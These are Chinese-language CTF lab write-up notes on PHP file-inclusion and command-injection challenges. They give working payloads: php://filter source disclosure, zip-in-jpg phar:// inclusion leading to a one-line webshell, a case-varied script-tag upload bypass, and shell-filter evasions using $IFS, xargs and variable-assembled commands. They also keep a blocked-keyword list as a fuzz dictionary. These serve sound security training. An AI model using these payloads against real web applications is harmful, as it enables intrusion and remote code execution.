文件包含
[第一章 web入门]afr_1 1
打开靶机:http://2653e528-79eb-4ce4-bb1c-1208500fa8f8.node4.buuoj.cn:81/?p=hello
看到形如?p=或者?file=、?page=类似的就要警惕。很有可能是文件包含漏洞。
尝试包含index或者flag。发现包含flag后报错no no no(导致代码执行了,看不到flag)
尝试伪协议包含。
http://2653e528-79eb-4ce4-bb1c-1208500fa8f8.node4.buuoj.cn:81/?p=php://filter/read=convert.base64-encode/resource=flag
得到PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9,base64解码即可。
需要注意的是这道题用write不可以。不写read=,或者写read=都可以。
合天网安练习题
到合天官网,搜索: 第十一周 | 签到般的包含 https://www.hetianlab.com/expc.do?ce=27f8fb0b-f176-4c4c-ae0e-6c6619c851a0
1、打开地址发现是一个上传界面。按照常规思路,先上传系统自带的一个图片,发现无法上传。后来发现可能是限制上传大小了。自己动手存了个小的图片,jpg格式。可以正常上传。
2、题目提示有include.php,实战中也可以使用御剑扫描。
3、访问include.php后发现代码如下,应该有file参数可以访问,但是可以看到拦截了不少参数:
Tips: the parameter is file! :) <html> Tips: the parameter is file! :) </html> <?php show_source(__FILE__); ///opt/flag3.txt @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } } ?>
4:、尝试使用伪协议,zip、phar协议。结合之前的上传页面,上传一个1.zip包,包里面放一个1.php。
1.php先写成<?php phpinfo();?>用于测试。测试成功之后可以改写成一句话木马。
注意由于上传时限制后缀,所以zip需要改名为jpg
5、上传后使用phar://upload/1.jpg/1
即可包含。从include.php代码可以看到,include($file.'.php');结尾会自动添加php,所以上一句最后的1后面什么也不用跟。
经实测,zip协议也是可以的。
合天网安上传题第五周-第八周
第八周
考察的点,主要是绕过。上传后,要注意看代码,上传的链接已告知。在浏览器源码中也能看到。
发现php可能被过滤了。因为上传的phpinfo显示位info。。。
参考这里https://blog.csdn.net/xiayu729100940/article/details/102619255
将php改为<script language=”php”> </script>,同时所有语句中的php改为PHP或Php
<script language=pHp> Phpinfo(); ?>
成功执行,改为一句话木马即可。用蚁剑连接即可。注意大小写,马里面的POST等全部要用大写。估计因为后台是linux的缘故。
命令执行
安恒ctf-命令执行漏洞相关练习-commix
打开后是一个输入框。输入ls后发现可以看到flag.php和index.php
尝试cat$IFSflag.php,发现不行。tac$IFSflag.php也不行。估计有过滤。
改为ls|xargs tac得到flag,也可以看到源代码。其中的确过滤了不少内容。包括cat / cd flag curl { ( ' " echo \ & grep base64
直接作为fuzz字典,以后用。
cat / cd flag curl { ( ' " echo \ & grep base64 tac $IFS <
官方给出的解法是:
a=`expr sbustr $PATH 1 1`;b=fla;c=g.php;d=ca;e=t;$d$e ..$a$b$c;
其中a用来获得/
..$a$b$c用来组合成../flag.php
$d$e用来组合成为cat,绕过对cat的过滤。